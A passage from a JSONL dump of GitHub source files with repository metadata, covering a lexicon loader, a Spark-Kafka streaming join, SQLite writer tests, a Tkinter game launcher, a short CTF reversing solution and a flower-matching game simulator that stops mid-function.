'text' not in item:\n raise ValueError(f'词表中的类别({category})缺少texts字段')\n return wordbook\n\ndef load_lexicon(model_name:str, granularity:str, debug:bool=False) -> Lexicon:\n cls = load_classifier(granularity=granularity)\n wordbook = load_wordbook(model_name, granularity, debug)\n lexicon = Lexicon(cls, wordbook)\n return lexicon\n","repo_name":"twang2218/vocab-coverage","sub_path":"vocab_coverage/lexicon.py","file_name":"lexicon.py","file_ext":"py","file_size_in_byte":6607,"program_lang":"python","lang":"en","doc_type":"code","stars":205,"dataset":"github-code","pt":"48"} +{"seq_id":"38979381601","text":"def answer(x):\n out = [list(y) for y in x]\n\n print(out)\n outrev=out\n\n for item in out:\n #print(item)\n itemrev = list(reversed(item))\n if itemrev not in outrev:\n outrev.append(itemrev)\n\n print(outrev)\n\n return len(outrev)\n\n\ndef main():\n x = [\"foo\", \"bar\", \"\", \"rba\",\"rab\"] #[\"x\", \"y\", \"xy\", \"yy\", \"\", \"yx\"] #\n print (answer(x))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"abhishekkb/kakkerla","sub_path":"google-foobar/AccessCodes/accessCodes2.py","file_name":"accessCodes2.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6442599586","text":"import pandas as pd\nfrom datetime import datetime\nfrom tqdm import tqdm\nfrom .trends_topics import get_trends_from_murkup, get_topics_from_topic_model\nfrom .trend_topics_matching import trends_topics_match\nfrom .utils import get_phi_theta\n\n\ndef get_docs_dates(collection_path='COLLOCATIONS.csv'):\n collocations = pd.read_csv(collection_path, parse_dates=['conf_pub_date', 'arxiv_pub_date'],\n date_parser=lambda d: datetime.strptime(d, '%Y-%m-%d') if not pd.isna(d) else None)\n collocations['min_date'] = collocations.apply(lambda row: min(row.conf_pub_date, row.arxiv_pub_date), axis=1)\n docs_dates = {collocations.iloc[i]['paper_id']: collocations.iloc[i]['min_date']\n for i in range(len(collocations))}\n return docs_dates\n\n\ndef get_steps(timestamps, models_path='MODELS', all_batches_path='ALL_BATCHES', \n step_batches_path='STEP_BATCHES'):\n zero_date = timestamps[0]\n steps = []\n for i, to_date in enumerate(tqdm(timestamps[1:])):\n steps.append({'date': to_date})\n steps[i]['phi'], steps[i]['theta'] = get_phi_theta(zero_date, to_date, timestamps, models_path,\n all_batches_path, step_batches_path)\n return steps\n\n\ndef get_steps_scores(steps, k_d=50, k_w=50, k_s=10, collection_path='COLLOCATIONS.csv', \n markup_path='trends_markup.csv'):\n docs_dates = get_docs_dates(collection_path)\n zero_date = min(docs_dates.values())\n \n trends = get_trends_from_murkup(markup_path)\n\n for step in tqdm(steps):\n interval_trends = [trend.from_interval(docs_dates, zero_date, step['date']) for trend in trends]\n interval_trends = [trend for trend in interval_trends if len(trend.key_docs) > 0]\n\n phi = step['phi']\n theta = step['theta']\n step_topics = get_topics_from_topic_model(phi, theta)\n\n trends_statuses, trends_best_topics, best_topics_scores = trends_topics_match(interval_trends, step_topics, \n k_d=k_d, k_w=k_w, k_s=k_s)\n step['scores'] = {interval_trends[j].name: {'is_matched': trends_statuses[j],\n 'best_topic': trends_best_topics[j],\n 'best_topic_scores': best_topics_scores[j]}\n for j in range(len(interval_trends))}\n return steps\n\n\ndef get_trend_detection_date(trend, steps, threshold_d=None, threshold_w=None, use_s=True):\n def w_criterion(score): return score > threshold_w if threshold_w is not None else True\n def d_criterion(score): return score > threshold_d if threshold_d is not None else True\n def s_criterion(score): return score if use_s else True\n\n true_trend_dates = [step['date'] for step in steps if trend.name in step['scores']\n and w_criterion(step['scores'][trend.name]['best_topic_scores']['M_W'])\n and d_criterion(step['scores'][trend.name]['best_topic_scores']['M_D'])\n and s_criterion(step['scores'][trend.name]['best_topic_scores']['M_S'])]\n return min(true_trend_dates) if true_trend_dates else None\n\n\ndef get_trends_detection_dates(trends, steps, threshold_d=None, threshold_w=None, use_s=False):\n return {trend: get_trend_detection_date(trend, steps, threshold_d, threshold_w, use_s) \n for trend in trends}\n\n\ndef get_trends_detection_delays(steps, collection_path='COLLOCATIONS.csv', \n markup_path='trends_markup.csv', threshold_d=None, \n threshold_w=None, use_s=False, units=None, timestamps=None):\n units = 'days' if units not in ['days', 'documents', 'timestamps'] else units\n trends = get_trends_from_murkup(markup_path)\n\n docs_dates = get_docs_dates(collection_path)\n trends_dates_true = {trend.name: trend.get_docs_interval(docs_dates)[0] for trend in trends}\n\n trends_detection_dates = get_trends_detection_dates(trends, steps,\n threshold_d, threshold_w, use_s)\n if units == 'days':\n return {trend: (trends_detection_dates[trend] - trends_dates_true[trend.name]).days\n for trend in trends_detection_dates if trends_detection_dates[trend] is not None}\n elif units == 'documents':\n delays_in_docs = {}\n for trend in trends_detection_dates:\n if trends_detection_dates[trend] is not None:\n docs_increment = [paper_id for paper_id, date in docs_dates.items()\n if trends_dates_true[trend.name] <= date <= trends_detection_dates[trend]]\n delays_in_docs[trend] = len(docs_increment)\n return delays_in_docs\n else:\n delays_in_timestamps = {}\n for trend in trends_detection_dates:\n if trends_detection_dates[trend] is not None:\n timestamps_increment = [ts for ts in timestamps\n if trends_dates_true[trend.name] < ts <= trends_detection_dates[trend]]\n delays_in_timestamps[trend] = len(timestamps_increment)\n return delays_in_timestamps\n","repo_name":"isiktopcu/BigARTM","sub_path":"CODE/utils/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":5274,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"73727665747","text":"# TOTAL_NUMBERS = 5\n# Numbers_List = []\n# for i in range(TOTAL_NUMBERS):\n# Numbers_Input = int(input(\"Number: \"))\n# Numbers_List.append(Numbers_Input)\n# # print(Numbers_List)\n# print(\"The first number is {}\".format(Numbers_List[0]))\n# print(\"The last number is {}\".format(Numbers_List[-1]))\n# print(f\"The smallest number is {min(Numbers_List)}\")\n# print(f\"The largest number is {max(Numbers_List)}\")\n# print(f\"The average of the number is {sum(Numbers_List)/TOTAL_NUMBERS}\")\n\n\n\nusernames = ['jimbo', 'giltson98', 'derekf', 'WhatSup', 'NicolEye', 'swei45', 'BaseInterpreterInterface', 'BaseStdIn', 'Command', 'ExecState', 'InteractiveConsole', 'InterpreterInterface', 'StartServer', 'bob']\nUser_Input = str(input(\"Username?: \"))\n\nif User_Input in usernames:\n print(\"Access granted\")\nelse:\n print(\"Access denied\")","repo_name":"cooper-plath/Practicals","sub_path":"Prac_04/List_exercises.py","file_name":"List_exercises.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1231319072","text":"from pyspark.sql import SparkSession\nfrom pyspark.sql.functions import from_json, to_json, col, unbase64, base64, split, expr\nfrom pyspark.sql.types import (\n StructField,\n StructType,\n StringType,\n BooleanType,\n ArrayType,\n DateType,\n FloatType,\n)\n\n# SCHEMAS\n\nstediAppSchema = StructType(\n [\n StructField(\"customer\", StringType()),\n StructField(\"score\", FloatType()),\n StructField(\"riskDate\", StringType()),\n ]\n)\n\nredisSchema = StructType(\n [\n StructField(\"key\", StringType()),\n StructField(\n \"zSetEntries\",\n ArrayType(\n StructType(\n [\n StructField(\"element\", StringType()),\n StructField(\"score\", FloatType()),\n ]\n )\n ),\n ),\n ]\n)\n\ncustomerRecordsSchema = StructType(\n [\n StructField(\"customerName\", StringType()),\n StructField(\"email\", StringType()),\n StructField(\"phone\", StringType()),\n StructField(\"birthDay\", StringType()),\n ]\n)\n\n\n# SPARK INITIAL CONFIG\n\nspark = SparkSession.builder.appName(\"stedi-app\").getOrCreate()\nspark.sparkContext.setLogLevel(\"WARN\")\n\n\n# Topic 1: redis-server\n\n# READING TOPIC DATA SOURCE - INITIAL STREAMING DF\n\nredisRawStreamingDF = (\n spark.readStream.format(\"kafka\")\n .option(\"kafka.bootstrap.servers\", \"kafka:19092\")\n .option(\"subscribe\", \"redis-server\")\n .option(\"startingOffsets\", \"earliest\")\n .load()\n)\n\n# DECODING JSON AND CREATING A VIEW\n\nredisStreamingDF = redisRawStreamingDF.selectExpr(\"cast(value as string) value\")\n\nredisStreamingDF.withColumn(\"value\", from_json(\"value\", redisSchema)).select(\n col(\"value.*\")\n).createOrReplaceTempView(\"RedisSortedSet\")\n\n# DECODING CUSTOMER COLUMN\n\nzSetEntriesEncodedStreamingDF = spark.sql(\n \"select key, zSetEntries[0].element as encodedCustomer from RedisSortedSet\"\n)\n\nzSetDecodedEntriesStreamingDF = zSetEntriesEncodedStreamingDF.withColumn(\n \"customer\", unbase64(zSetEntriesEncodedStreamingDF.encodedCustomer).cast(\"string\")\n)\n\nzSetDecodedEntriesStreamingDF.withColumn(\n \"customer\", from_json(\"customer\", customerRecordsSchema)\n).select(col(\"customer.*\")).createOrReplaceTempView(\"CustomerRecords\")\n\n\n# SELECTING ONLY THE EMAIL AND BIRTHDAY FIELDS THAT AREN'T null\n\nemailAndBirthDayStreamingDF = spark.sql(\n \"select * from CustomerRecords where email is not null AND birthDay is not null\"\n)\n\n## CONVERTING THE FIELD TO GET THE BIRTH YEAR\n\nemailAndBirthYearStreamingDF = emailAndBirthDayStreamingDF.select(\n \"email\",\n split(emailAndBirthDayStreamingDF.birthDay, \"-\").getItem(0).alias(\"birthYear\"),\n)\n\n# Topic 2: stedi-events\n\n# READING TOPIC DATA SOURCE - INITIAL STREAMING DF\nstediAppRawStreamingDF = (\n spark.readStream.format(\"kafka\")\n .option(\"kafka.bootstrap.servers\", \"kafka:19092\")\n .option(\"subscribe\", \"stedi-events\")\n .option(\"startingOffsets\", \"earliest\")\n .load()\n)\n\n# DECODING JSON AND CREATING A VIEW\n\nstediAppStreamingDF = stediAppRawStreamingDF.selectExpr(\n \"cast(value as string) value\"\n)\n\nstediAppStreamingDF.withColumn(\"value\", from_json(\"value\", stediAppSchema)).select(\n col(\"value.*\")\n).createOrReplaceTempView(\"CustomerRisk\")\n\n# SELECTING THE COLUMNS AND WRITING IT INTO THE STREAM\n\ncustomerRiskStreamingDF = spark.sql(\"select customer, score from CustomerRisk\")\n\n\n# Topic 3: stedi-graph\n\n# JOINING THE TWO STREAMINGS DF\n\n\njoinedCustomerRiskAndBirthDf = customerRiskStreamingDF.join(emailAndBirthYearStreamingDF, expr( \"\"\"\n customer = email\n\"\"\"\n))\n\n# STREAMING THE JOINNED DATAFRAME\n\n(\n joinedCustomerRiskAndBirthDf\n .selectExpr(\"CAST(customer AS STRING) AS key\", \"to_json(struct(*)) AS value\")\n .writeStream.format(\"kafka\")\n .option(\"kafka.bootstrap.servers\", \"kafka:19092\")\n .option(\"topic\", \"stedi-graph\")\n .option(\"checkpointLocation\",\"/tmp/checkPointKafka\")\n .start()\n .awaitTermination()\n)","repo_name":"pedro-tofani/Spark-Streaming-Human-Balance-Evaluation","sub_path":"project/starter/sparkpykafkajoin.py","file_name":"sparkpykafkajoin.py","file_ext":"py","file_size_in_byte":3937,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"38571986414","text":"def fun1(arg1,arg2):\n\n var_4h = arg2\n var_8h = arg1\n\n while True:\n if var_8h <= 0x227:\n var_4h += 0x7\n var_8h += 0x70\n else:\n return var_4h\nprint(\"SHELLCTF{\" + hex(fun1(0x74,0x6f) + fun1(0x62,0x69)) + \"}\")\n\n ","repo_name":"mizuirorivi/ctf","sub_path":"S.H.E.L.L.CTF/Reverse_Engineering/assembly/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11725918232","text":"import json\nfrom tkinter import *\nfrom tkinter import messagebox, ttk\nfrom sms.sms_game_class import SMSGame\nfrom web.web_game_class import WebGame\nfrom whatsapp.whatsapp_game_class import WhatsAppGame\nfrom instagram.instagram_game_class import InstagramGame\nimport os\nfrom config_settings import config_settings\nfrom player_config import player_config\nfrom task_config import task_config\nfrom utils import clear_frame\n\n\ndef main():\n \"\"\"\n Affichage de la fenêtre d'accueil\n \"\"\"\n window = Tk()\n window.title(\"Among Us Real - Menu principal\")\n window.geometry(\"800x600\")\n window.resizable(True, True)\n window.configure(background='#f5f5f5')\n window.iconbitmap(\"assets/img/amongus.ico\")\n\n label_title = Label(window, text=\"Menu principal\", font=(\"Arial\", 30))\n label_title.pack(fill=X)\n\n if not os.path.exists(\"players.json\"):\n if not os.path.exists(\"players-exemple.json\"):\n with open(\"players.json\", \"w\", encoding=\"utf-8\") as f:\n json.dump([], f)\n else:\n os.rename(\"players-exemple.json\", \"players.json\")\n if not os.path.exists(\"config.json\"):\n with open(\"config.json\", \"w\", encoding=\"utf-8\") as f:\n json.dump({\n \"impostors\": 1,\n \"engineers\": 2,\n \"scientists\": 1,\n \"tasks\": 3,\n \"max_task_given\": 2,\n \"ip\": \"172.20.10.10\",\n \"names\": {\n \"impostor\": \"Imposteur\",\n \"scientist\": \"Scientifique\",\n \"engineer\": \"Ingénieur\",\n \"crewmate\": \"Membre de l'équipe\",\n \"title\": \"Among Us Réel\"\n },\n \"max_dead_check\": 4,\n \"game_master\": False,\n \"show_dead_roles\": False,\n \"discussion_time\": 120,\n \"vote_time\": 30,\n \"task_list\": \"task-exemple\",\n \"manager_type\": \"sms\",\n \"min_before_inactiv_warn\": 5,\n \"max_warns\": 3\n }, f)\n\n with open(\"players.json\", \"r\", encoding=\"utf-8\") as f:\n players: list = json.load(f)\n\n with open(\"config.json\", \"r\", encoding=\"utf-8\") as f:\n config = json.load(f)\n\n try:\n with open(r\"/taskList/\" + config[\"task_list\"] + \".json\", \"r\", encoding=\"utf-8\") as f:\n tasks = json.load(f)\n except FileNotFoundError:\n tasks = []\n\n def config_players():\n global players\n player_config()\n with open(\"players.json\", \"r\", encoding=\"utf-8\") as p:\n players = json.load(p)\n show_config()\n\n def config_tasks():\n global tasks\n task_config()\n with open(f\"taskList/{config['task_list']}.json\", \"r\", encoding=\"utf-8\") as t:\n tasks = json.load(t)\n show_config()\n\n def show_config():\n \"\"\"\n Affiche dans la fenêtre la configuration actuelle de la partie\n \"\"\"\n play_players = [player for player in players if player.get(\"play\")]\n clear_frame(edits_frame)\n player_label = Label(edits_frame, text=f\"Joueurs ({len(play_players)}/{len(players)})\")\n player_button = Button(edits_frame, text=f\"Modifier\", command=config_players)\n player_label.grid(row=0, column=0)\n player_button.grid(row=0, column=1)\n\n task_label = Label(edits_frame, text=f\"{len(tasks)} tâches\")\n task_button = Button(edits_frame, text=\"Modifier\", command=config_tasks)\n task_label.grid(row=1, column=0)\n task_button.grid(row=1, column=1)\n\n edits_frame.pack(fill=X)\n\n edits_frame = Frame(window, bg='#f5f5f5')\n show_config()\n\n edits_frame.pack(fill=X)\n\n config_button = Button(window, text=\"Modifier les paramètres\", command=config_settings)\n config_button.pack(fill=X)\n\n ttk.Separator(window, orient=\"horizontal\").pack(fill=\"x\")\n\n type_label = Label(window, text=\"Type de gestionnaire du jeu: \" + config[\"manager_type\"])\n type_label.pack(fill=X)\n\n play_normal_button = Button(window, text=\"Lancer une partie\", command=lambda: begin_game())\n play_normal_button.pack(fill=X)\n\n other_plays_frame = Frame(window, bg=\"#f5f5f5\")\n\n game_master_play_button = Button(other_plays_frame, text=\"Jouer (avec maître du jeu)\",\n command=lambda: begin_game(True))\n game_master_play_button.grid(row=0, column=0)\n\n without_game_master_button = Button(other_plays_frame, text=\"Jouer (sans maître du jeu)\",\n command=lambda: begin_game(False))\n without_game_master_button.grid(row=0, column=1)\n\n other_plays_frame.pack(fill=X)\n\n def begin_game(game_master: bool or None = None):\n \"\"\"\n Commencer une partie\n :param game_master: bool: If the game master is playing\n :return: None\n \"\"\"\n window.destroy()\n if config[\"manager_type\"] == \"sms\":\n SMSGame(game_master)\n elif config[\"manager_type\"] == \"web\":\n WebGame(game_master)\n elif config[\"manager_type\"] == \"whatsapp\":\n WhatsAppGame(game_master)\n elif config[\"manager_type\"] == \"instagram\":\n InstagramGame(game_master)\n else:\n messagebox.showerror(\"Erreur\", \"Le gestionnaire de jeu n'est pas reconnu\", parent=window)\n main()\n\n window.mainloop()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Merlode11/Among-Us-Real","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8892110891","text":"import pytest\nimport re\nimport tempfile\nfrom pathlib import Path\n\nfrom xmltotabular.sqlite_db import (\n SqliteDB,\n SQLITE_MAX_VARIABLE_NUMBER,\n SQLITE_MAX_COLUMN,\n)\nfrom xmltotabular.utils import get_fieldnames_from_config\n\n\nPARSED_DATA = {\n \"album\": [\n {\n \"id\": \"None_0\",\n \"name\": \"Five Leaves Left\",\n \"artist\": \"Nick Drake\",\n \"released\": \"1969\",\n \"label\": \"Island\",\n \"genre\": \"Folk\",\n },\n {\n \"id\": \"None_1\",\n \"name\": \"Bryter Layter\",\n \"artist\": \"Nick Drake\",\n \"released\": \"1971\",\n \"label\": \"Island\",\n \"genre\": \"Folk\",\n },\n {\n \"id\": \"None_2\",\n \"name\": \"Pink Moon\",\n \"artist\": \"Nick Drake\",\n \"released\": \"1972\",\n \"label\": \"Island\",\n \"genre\": \"Folk\",\n },\n ]\n}\n\n\ndef normalize_schema(schema):\n \"\"\"Normalize whitespace in SQL statements returned by SqliteDB[table].schema\n for convenient comparison.\"\"\"\n return re.sub(r\"\\s(?=[,)])|(?<=\\()\\s\", \"\", \" \".join(schema.split()))\n\n\ndef test_sqlitedb_repr(empty_db):\n assert repr(empty_db) == \"\"\n\n\ndef test_simple_table_creation(empty_db, simple_config):\n db = empty_db\n\n for tablename, fieldnames in get_fieldnames_from_config(simple_config).items():\n db[tablename].create({fieldname: str for fieldname in fieldnames})\n\n expected_schema = \"\"\"\n CREATE TABLE [album] (\n [name] TEXT,\n [artist] TEXT,\n [released] TEXT,\n [label] TEXT,\n [genre] TEXT\n )\n \"\"\"\n\n assert \"album\" in db.table_names()\n assert normalize_schema(db[\"album\"].schema) == normalize_schema(expected_schema)\n\n\ndef test_table_creation_with_fields_reversed(empty_db, simple_config):\n db = empty_db\n\n for tablename, fieldnames in get_fieldnames_from_config(simple_config).items():\n params = {\"column_order\": list(reversed(fieldnames))}\n db[tablename].create({fieldname: str for fieldname in fieldnames}, **params)\n\n expected_schema = \"\"\"\n CREATE TABLE [album] (\n [genre] TEXT,\n [label] TEXT,\n [released] TEXT,\n [artist] TEXT,\n [name] TEXT\n )\n \"\"\"\n\n assert \"album\" in db.table_names()\n assert normalize_schema(db[\"album\"].schema) == normalize_schema(expected_schema)\n\n\ndef test_table_creation_with_pk(empty_db, simple_config):\n db = empty_db\n\n for tablename, fieldnames in get_fieldnames_from_config(simple_config).items():\n params = {\"pk\": \"name\"}\n db[tablename].create({fieldname: str for fieldname in fieldnames}, **params)\n\n expected_schema = \"\"\"\n CREATE TABLE [album] (\n [name] TEXT PRIMARY KEY,\n [artist] TEXT,\n [released] TEXT,\n [label] TEXT,\n [genre] TEXT\n )\n \"\"\"\n\n assert \"album\" in db.table_names()\n assert normalize_schema(db[\"album\"].schema) == normalize_schema(expected_schema)\n\n\ndef test_table_creation_additional_fields(empty_db, simple_config):\n db = empty_db\n\n for tablename, fieldnames in get_fieldnames_from_config(simple_config).items():\n db[tablename].create({fieldname: str for fieldname in fieldnames})\n\n additional_fields = {\"album\": [\"description\", \"notes\"]}\n for tablename, fieldnames in additional_fields.items():\n if tablename in db.table_names():\n for fieldname in fieldnames:\n if fieldname not in db[tablename].columns:\n db[tablename].add_column(fieldname, str)\n\n expected_schema = \"\"\"\n CREATE TABLE [album] (\n [name] TEXT,\n [artist] TEXT,\n [released] TEXT,\n [label] TEXT,\n [genre] TEXT,\n [description] TEXT,\n [notes] TEXT\n )\n \"\"\"\n\n assert \"album\" in db.table_names()\n assert normalize_schema(db[\"album\"].schema) == normalize_schema(expected_schema)\n\n\ndef test_simple_data_insertion(empty_db, simple_config):\n db = empty_db\n\n for tablename, fieldnames in get_fieldnames_from_config(simple_config).items():\n db[tablename].create({fieldname: str for fieldname in fieldnames})\n\n for tablename, rows in PARSED_DATA.items():\n db[tablename].insert_all(rows)\n\n selected = db.execute(\"SELECT * FROM album;\").fetchall()\n\n assert selected == [\n (\"Five Leaves Left\", \"Nick Drake\", \"1969\", \"Island\", \"Folk\"),\n (\"Bryter Layter\", \"Nick Drake\", \"1971\", \"Island\", \"Folk\"),\n (\"Pink Moon\", \"Nick Drake\", \"1972\", \"Island\", \"Folk\"),\n ]\n\n\ndef test_multiple_rows_insertion(empty_db):\n db = empty_db\n tablename = \"test-table\"\n num_columns = 10\n num_rows = 100\n\n db[tablename].create({f\"column_{col:02}\": str for col in range(num_columns)})\n\n db[tablename].insert_all(\n [\n {f\"column_{col:02}\": f\"data_{row:03}_{col:02}\" for col in range(num_columns)}\n for row in range(num_rows)\n ]\n )\n\n selected = db.execute(f\"SELECT * FROM '{tablename}';\").fetchall()\n\n assert selected == [\n tuple(f\"data_{row:03}_{col:02}\" for col in range(num_columns))\n for row in range(num_rows)\n ]\n\n\ndef test_writing_to_filesystem(simple_config):\n dirpath = tempfile.mkdtemp()\n db_path = Path(dirpath) / \"test_db.sqlite\"\n\n db = SqliteDB(db_path)\n\n for tablename, fieldnames in get_fieldnames_from_config(simple_config).items():\n db[tablename].create({fieldname: str for fieldname in fieldnames})\n\n for tablename, rows in PARSED_DATA.items():\n db[tablename].insert_all(rows)\n\n selected = db.execute(\"SELECT * FROM album;\").fetchall()\n\n assert selected == [\n (\"Five Leaves Left\", \"Nick Drake\", \"1969\", \"Island\", \"Folk\"),\n (\"Bryter Layter\", \"Nick Drake\", \"1971\", \"Island\", \"Folk\"),\n (\"Pink Moon\", \"Nick Drake\", \"1972\", \"Island\", \"Folk\"),\n ]\n\n\n@pytest.mark.parametrize(\n \"num_columns,should_error\",\n (\n (100, False),\n (min(SQLITE_MAX_VARIABLE_NUMBER, SQLITE_MAX_COLUMN), False),\n (min(SQLITE_MAX_VARIABLE_NUMBER, SQLITE_MAX_COLUMN) + 1, True),\n ),\n)\ndef test_error_if_too_many_columns(empty_db, num_columns, should_error):\n columns = {f\"c{i}\": str for i in range(num_columns)}\n if should_error:\n with pytest.raises(AssertionError):\n empty_db[\"too-many-columns\"].create(columns)\n else:\n empty_db[\"too-many-columns\"].create(columns)\n\n\n@pytest.mark.parametrize(\n \"num_columns,max_vars,should_error\",\n (\n (100, 250_000, False),\n (SQLITE_MAX_COLUMN, 250_000, False),\n (SQLITE_MAX_COLUMN + 1, 250_000, True),\n ),\n)\ndef test_error_if_too_many_columns_with_custom_max_vars(\n num_columns, max_vars, should_error\n):\n db = SqliteDB(\":memory:\", max_vars=max_vars)\n columns = {f\"c{i}\": str for i in range(num_columns)}\n if should_error:\n with pytest.raises(AssertionError):\n db[\"too-many-columns\"].create(columns)\n else:\n db[\"too-many-columns\"].create(columns)\n\n\n@pytest.mark.parametrize(\n \"num_rows\",\n (\n # Simplest case\n 1,\n # Default SQLITE_MAX_VARIABLE_NUMBER for SQLite versions < 3.32.0 (2020-05-22)\n 999,\n 999 + 1,\n # Default SQLITE_MAX_VARIABLE_NUMBER for SQLite versions >= 3.32.0\n 32766 + 1,\n # Default SQLITE_MAX_VARIABLE_NUMBER for SQLite distributed\n # with Debian, Ubuntu, Homebrew etc.\n 250000 + 1,\n ),\n)\ndef test_error_if_too_many_vars(empty_db, num_rows):\n empty_db[\"too-many-vars\"].create({\"c\": str})\n rows = [{\"c\": i} for i in range(num_rows)]\n empty_db[\"too-many-vars\"].insert_all(rows)\n","repo_name":"simonwiles/xmltotabular","sub_path":"tests/test_sqlite_output.py","file_name":"test_sqlite_output.py","file_ext":"py","file_size_in_byte":7620,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"70217849747","text":"from collections import Counter, defaultdict\nimport logging\nimport itertools\nimport os\n\nimport argparse\nimport numpy as np\nimport pandas as pd\nfrom remi import start\nfrom scipy.stats import rankdata\n\nfrom flowers import Bouquet, get_all_possible_flowers, sample_n_random_flowers\nfrom gui_app import FlowerApp\nfrom suitors.base import BaseSuitor\nfrom suitors.suitor_factory import suitor_by_name\nfrom utils import flatten_counter\nfrom time_utils import prepare_empty_bouquets\n\n\nclass FlowerMarriageGame:\n def __init__(self, args, suitor_names=None):\n self.d = args.d\n self.random_state = args.random_state\n self.restrict_time = args.restrict_time\n self.remove_round_logging = args.remove_round_logging\n logging.basicConfig(\n level=logging.DEBUG,\n handlers=[logging.FileHandler(args.log_file, mode='w'), logging.StreamHandler()]\n )\n self.logger = logging.getLogger(__name__)\n # A CSV config file specifying each group and their associated instances in the game.\n if args.p_from_config:\n config_df = pd.read_csv(args.config_path)\n config_df = config_df[config_df['counts'] > 0]\n assert len(config_df) > 0\n self.suitor_names = flatten_counter(dict(zip(config_df['group'], config_df['counts'])))\n self.p = config_df.counts.sum()\n else:\n self.p = args.p\n self.suitor_names = [args.group] * self.p if suitor_names is None else suitor_names\n assert len(self.suitor_names) == self.p\n assert self.p >= 2 and self.p % 2 == 0\n np.random.seed(self.random_state)\n\n self.gui = args.gui\n self.possible_flowers = get_all_possible_flowers()\n self.num_flowers_to_sample = 6 * (self.p - 1)\n self.logger.info(\n f'Will sample {self.num_flowers_to_sample} out of {len(self.possible_flowers)} possible flowers.')\n\n # Instantiate suitors\n self.reset_game_state()\n\n self.flower_app = None\n if self.gui:\n start(FlowerApp, address=args.address, port=args.port, start_browser=not(args.no_browser),\n update_interval=0.5, userdata=(self, ))\n\n def reset_game_state(self):\n # Instantiate suitors\n self.suitors = [suitor_by_name(self.suitor_names[i], self.d, self.p, i) for i in range(self.p)]\n self.suitors = list(filter(None, self.suitors))\n suitor_conformity = list(map(validate_suitor, self.suitors))\n valid_suitors = []\n for suitor, suitor_status in zip(self.suitors, suitor_conformity):\n if suitor_conformity == 0:\n self.logger.error(f'Suitor {suitor.suitor_id} '\n f'({suitor.name}) provided invalid zero/one boundary bouquets.')\n else:\n valid_suitors.append(suitor)\n self.suitors = valid_suitors\n self.p = len(self.suitors)\n\n # Instantiate arrays to keep track of bouquets provided at each round, as well as scores and ranks.\n self.bouquets = np.empty(shape=(self.d, self.p, self.p), dtype=Bouquet)\n for d in range(self.d):\n for row in range(self.p):\n for col in range(self.p):\n self.bouquets[d, row, col] = Bouquet({})\n self.scores = np.zeros(shape=(self.d, self.p, self.p), dtype=float)\n self.ranks = np.zeros(shape=(self.d, self.p, self.p), dtype=int)\n self.ties = np.zeros(shape=(self.d, self.p, self.p), dtype=int)\n self.next_round = 0\n self.marriages = None\n self.advantage = None\n\n def play(self):\n for curr_round in range(self.next_round, self.d):\n self.simulate_round(curr_round)\n self.next_round = self.d\n return self.marry_folks()\n\n def generate_output_df(self):\n output = []\n # self.marriages\n for i in range(self.p):\n suitor = self.suitors[i]\n suitor_id = suitor.suitor_id\n suitor_name = suitor.name\n uid = f'{suitor_name}_{suitor_id}'\n\n my_union_idx = -1\n union_status = ''\n partner_suitor_id = -1\n for union_idx, union in enumerate(self.marriages['unions']):\n if i == union['suitor']:\n my_union_idx = union_idx\n partner_suitor_id = union['chooser']\n union_status = 'suitor'\n break\n elif i == union['chooser']:\n my_union_idx = union_idx\n partner_suitor_id = union['suitor']\n union_status = 'chooser'\n break\n assert my_union_idx > -1\n row = {\n 'suitor_id': suitor_id,\n 'name': suitor_name,\n 'random_state': self.random_state,\n 'p': self.p,\n 'd': self.d,\n 'uid': uid,\n 'marriage_score': self.marriages['scores'][i],\n 'union_status': union_status,\n 'partner_suitor_id': partner_suitor_id,\n 'partner_name': self.suitors[partner_suitor_id].name,\n 'union_priority': my_union_idx,\n }\n\n for d in range(self.d):\n row[f'day_{d}_bouquet_offers'] = ''.join([str(x) for x in self.bouquets[d, i, :]])\n row[f'day_{d}_bouquet_received'] = ''.join([str(x) for x in self.bouquets[d, :, i]])\n row[f'day_{d}_score_offers'] = ''.join([str(x) for x in self.scores[d, i, :]])\n row[f'day_{d}_score_received'] = ''.join([str(x) for x in self.scores[d, :, i]])\n\n output.append(row)\n return pd.DataFrame(output)\n\n def is_over(self):\n return self.next_round == self.d\n\n def set_app(self, flower_app):\n self.flower_app = flower_app\n\n def resolve_prepare_func(self, suitor, is_final_round=False):\n if not self.restrict_time:\n return suitor.prepare_bouquets\n if is_final_round:\n return suitor.prepare_bouquets_timed_final_round\n return suitor.prepare_bouquets_timed\n\n def resolve_feedback_func(self, suitor):\n return suitor.receive_feedback_timed if self.restrict_time else suitor.receive_feedback\n\n def log_round(self, curr_round):\n for i in range(self.p):\n for j in range(self.p):\n if i == j:\n continue\n rank, score, bouquet = (\n self.ranks[curr_round, i, j], self.scores[curr_round, i, j], self.bouquets[curr_round, i, j])\n giver = f'{self.suitors[i].name}_{self.suitors[i].suitor_id}'\n receiver = f'{self.suitors[j].name}_{self.suitors[j].suitor_id}'\n str = f'Round {curr_round}: ' \\\n f'{giver} bouquet to {receiver} scored {round(score, 3)} (rank={rank}) -> {bouquet}'\n self.logger.info(str)\n\n def _is_valid_offer_format(self, offer):\n if not hasattr(offer, '__iter__'):\n return False\n if len(offer) != 3:\n return False\n if type(offer[2]) != Bouquet:\n return False\n try:\n return min(offer[:2]) > -1 and max(offer[:2]) < self.p\n except:\n return False\n\n def fix_offers(self, suitor, offers, flowers_for_round):\n offer_cts = defaultdict(int)\n is_more_than_market = False\n is_hallucinated = False\n is_invalid_format = False\n valid_offers = []\n for offer in offers:\n if self._is_valid_offer_format(offer):\n valid_offers.append(offer)\n else:\n 